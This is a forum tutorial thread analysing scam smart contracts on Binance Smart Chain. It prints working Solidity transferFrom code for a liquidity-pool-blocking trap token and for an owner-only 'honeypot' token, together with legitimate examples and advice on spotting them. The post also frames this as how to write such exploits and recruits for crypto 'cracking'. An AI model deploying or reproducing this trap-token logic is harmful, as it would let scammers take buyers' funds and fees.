[TUTORIAL] How to steal(back) $350 000? 👾 Smart Contract Malware Analysis

PremiumCodeX

hero member

Activity: 1204

Merit: 531

Metaverse 👾 Cyberweapons

Further exploits in the updated thread!
Scroll up and read again.
Good on you if you bookmark these pages.

PremiumCodeX

hero member

Activity: 1204

Merit: 531

Metaverse 👾 Cyberweapons

Liquidity Pool Block Exploit
Ever wanted to hack an exchange?
Then read it.
The payload steals the fees from the Automated Market Maker (AMM) of a decentralized exchange (DEX) such as Pancakeswap.
It also disrupts end-user transactions and steals their gas.
How sweet!
Oh, wait!
We are white-hats now.
How evil.
The exploit is - guess what - a cryptocurrency token.

To understand the malice of the exploit, you have to grasp how liquidity pools work.
- The holders of the token deposit their token into the pool.
- They receive a profit from every buy transaction of that token.
- The AMM covers the profit from the fees (=gas).
- There is an extra detail you have to know.
- The buyer pays the fee even if the transaction fails!!
- The fees never return.

How to write such an exploit?
The scammer usually puts the malicious code into the "transferFrom" function.
When you establish a new liquidity pool for a token, that pool will get an address.
This address will go into the "newun" variable.
Then the token will work with this variable.
However, what if the scammer blocks the pool's address from the variable?
Without the pool address, the AMM cannot serve the end-user.
The transaction fails.
The end-user loses his fees.
The exchange does not work as expected.
Yet, the liquidity provider gets his profit.
If the end-user keeps trying, he keeps losing.
The harder he tries, the more he loses.
The more the scammer earns.

The exploit code

Code:

   function transfernewun(address _newun) public onlyOwner {
      newun = _newun;
    }

    function transfer(address to, uint tokens) public returns (bool success) {
       require(to != newun, "please wait");

      balances[msg.sender] = balances[msg.sender].sub(tokens);
      balances[to] = balances[to].add(tokens);
      emit Transfer(msg.sender, to, tokens);
      return true;
    }

    function approve(address spender, uint tokens) public returns (bool success) {
      allowed[msg.sender][spender] = tokens;
      emit Approval(msg.sender, spender, tokens);
      return true;
    }

    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        if(from != address(0) && newun == address(0)) newun = to;
        else require(to != newun, "please wait");

      balances[from] = balances[from].sub(tokens);
      allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
      balances[to] = balances[to].add(tokens);
      emit Transfer(from, to, tokens);
      return true;
    }

The purpose of the exploit is to behave like a standard token until the liquidity pool initializes the address in the newun variable.
Then the following code will block all buy transactions using the initialized liquidity pool:

The malicious code

Code:

 function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }

How to counter this exploit?
It is definitely a more sophisticated exploit than the previous one.
If you are an end-user, I recommend always sending a small volume transaction using a small fee before sending anything significant.
If the transaction fails, never repeat it until you look up the potential reasons on the Internet.
You can also compare the token's contract code to the codes in this thread.
Any extra tinkering with "newun" and "_owner" compared to the legit codes above should raise the red flag.

PremiumCodeX

hero member

Activity: 1204

Merit: 531

Metaverse 👾 Cyberweapons

"Quid pro quo"

What is the goal?
Empyria is a red-hat-style BTC ethical hacking team.
We find pleasure in using aggressive state-of-the-art cracking techniques.
To purify our toolkit, we systematically publish our legacy methods.
Over time, this purification will immunize cryptocurrency communities, and promote the underlying forum in search engines.

Basic terms:
The exploit is the code that contains your will.
The API (Application Programming Interface) is the door your exploit enters a financial application.

Cracking exchanges involve one or more of these exploits and send them to APIs.
Exploits have two major categories per API: CeFi and DeFi.

CeFi (Centralized Finances) Exploits
Centralized Finances are financial applications where the owners are definite companies or individuals.
We consider these apps centralized.
We can steal all money from the system if we compromise the owner (=center).
One of Bitcoin's main goals is to absorb this weakness.
Below you find our public CeFi exploits:
- Low Liquidity Elevation of Privilege (LLEP) - API Cracking on Binance
https://bitcointalksearch.org/topic/binance-api-cracking-low-liquidity-elevation-of-privilege-llep-5383676

DeFi (Decentralized Finances) Exploits
Bitcoin distributed the ownership of finances.
Anyone can become a BTC owner, and every BTC owner is equal.
There is no central owner we can hack.
So, we consider these applications decentralized.
DeFi exploits usually target "hubs and Joes."
Hubs are platforms (exchanges, games, wallets, marketplaces, chat rooms, and so on.) where DeFi users meet.
"Joes" are your average "DeFi" users who bought crypto and skipped their security classes.
Needless to say, "hubs" are often developed by "Joes."
Below you find our public DeFi exploits.
- Liquidity Pool Block Exploit
https://bitcointalksearch.org/topic/m.59011949
- Transfer Block Exploit
https://bitcointalksearch.org/topic/m.58947334

"Loyalty is value."

[TUTORIAL] How to steal(back) $350 000? 👾 Smart Contract Malware Analysis

~ Crack/Disassemble/Debug/Reverse Engineer Smart Contract Malwares ~

Have you lost your belief in crypto?
You are not alone. Millions of people fled from a collapsing fiat economy into cryptos.
- Only to find that it is as easy to lose your wealth in the crypto world as in inflation.
Anxiety, depression, hopelessness.
How to imagine a malicious smart contract?
Trap tokens, "ponzi" trading bots ("ehm..." ArbiStar), fake exchanges.
Projects providing impressive GUIs, thousands of positive feedbacks, sometimes even real profit (selective withdrawals).
Hard news is the only way to find financial comfort is through self-education.
Yet, this thread will be proof that it is possible.
And if it is possible, you can do it.
So can your loved ones.
We aim to restore your belief in yourself.
So, you could repair humanity's belief in crypto.
It is your hope.
And you are the hope of all crypto developers: The next step in evolution. The educated man/woman.

Who are we?
We use white-hat hacking, and our group consists of certified ethical hackers (CEH).
We have got members mostly, but not exclusively from Switzerland and Hungary.
Nevertheless, we operate on an intercontinental range.
Wait, who the f*ck cares what certifications we have or where we live?
Asking this question arises from the first delusion of crypto users.

Cryptocurrencies are anonymous. But you are not.
And even if criminals can not crack a cryptocurrency's encryption algorithm right now, they can crack you.
That is right.
Most likely, even now, there is a backdoor on your computer (laptop, smartphone, smartwatch...) that reports your activities to some hidden data center.
Fortunately (for you), no one gives a sh*t about your miserable life...
...until you do something stupid: such as transacting with a malicious smart contract.
And what do you think about your trackers' answer?
The easiest one.
They will use the backdoor on YOUR computer to decrypt YOUR blockchain activities.
Then blackmail you for your not-so-bright activities.
Such as mining on your company's computers without the company's permission.
So, the more time you waste, the more money you lose.
And the coins are not the only thing you can lose.
It might be your time is ticking until your prison time.
What are you waiting?

You might think, "I have never done anything illegal with cryptocurrencies." or "Thanks a lot. That rudeness helped in my already unfortunate situation."
But we directly faced you with the truth because we care about you.
Despite your miseries, your story can contribute a lot to saving your loved ones from them.
Speaking to us about your activities is not a crime.
We obtained our certifications at the mentioned locations above, and our research of the topic is both registered at Universities and legal.
And if we can do it, so can you.
It is your time to get back your funds and more!
In our experience, you can earn from $350k to millions if you proactively crack scam projects.
To get some experience, you can take a job in a team that already does it.
- Such as ours.

To start with, learn from this thread.
We will periodically upload scam contracts that our autonomous crawlers find.
Additionally, once we give you a learning curve, we will open a competition to get a job in our team.

Now that illiterate retards got bored and left the thread, let us begin...

DeFi Malwares

Binance Smart Chain (BSC)

Name: WoodDoge
Abbreviation: WoodDoge
Contract:https://bscscan.com/address/0x9b218472051f23c2bb8d38080a017fd87587e156#code

It is almost a completely legit code save for the last section of source code:

Code:

function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        
        require(from == _owner, "You are not the owner!");
        balances[from] = safeSub(balances[from], tokens);
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
        return true;
         
}

Especially look at the third line:

Code:

 require(from == _owner, "You are not the owner!");

The smart contract ‘require’ the transaction to be ‘from’ the ‘_owner’ to complete.

If the transaction does not come from the ‘_owner’, it cancels itself with the following error message:”You are not the owner!”.
(Most likely ‘_owner’ is the scammer in this context.)

So, how does WoodDoge cause any harm if no one (except the ‘_owner’) can send it anywhere?
The concept of DeFi swap of value:

You send some cryptocurrency to the Automated Market Maker (AMM).
Another person sends another cryptocurrency to the AMM.
If the AMM can match your price with the other person’s price, you get the other person’s crypto and they get your cryptocurrency.

How is the situation if you substitute WoodDoge?

You can send any cryptocurrency (BTC, ETH, BNB…) and receive WoodDoge in return.
The ‘_owner’ can sell any amount of WoodDoge and receive any cryptocurrency in return.
All right so far.
However, you can not send WoodDoge to anyone because you are not the ‘_owner.’
Now, if you can not send WoodDoge to the AMM, you can receive no cryptocurrency in return.
With other words, ‘_owner’ happily accepted your cryptocurrency and left you with a token you can never sell.

So, how to prevent harm from such malware?

Before you purchase a token, always check its source code.
Generally, it should not contain any restriction (‘if’) that only the ‘_owner’ can do some action.

Some examples for a legit ‘transferFrom’ function:

Code:

    function transferFrom(address src, address dst, uint wad)
    public
    returns (bool)
    {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] -= wad;
        }

        balanceOf[src] -= wad;
        balanceOf[dst] += wad;

        Transfer(src, dst, wad);

        return true;

Code:

  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
    return true;
  }

Take away from the analysis of this malware:
You have to learn to recognize when a 'transferFrom' function is maliciously restricted.
Malicious restrictions usually involve the word '_owner'.

....to be continued.

Thank you for your attention!
Thanks to Bitcointalk for hosting our educational materials!

- Team Code X, founders of Empyria Market

Topic: [TUTORIAL] How to steal(back) $350 000? 👾 Smart Contract Malware Analysis (Read 301 times)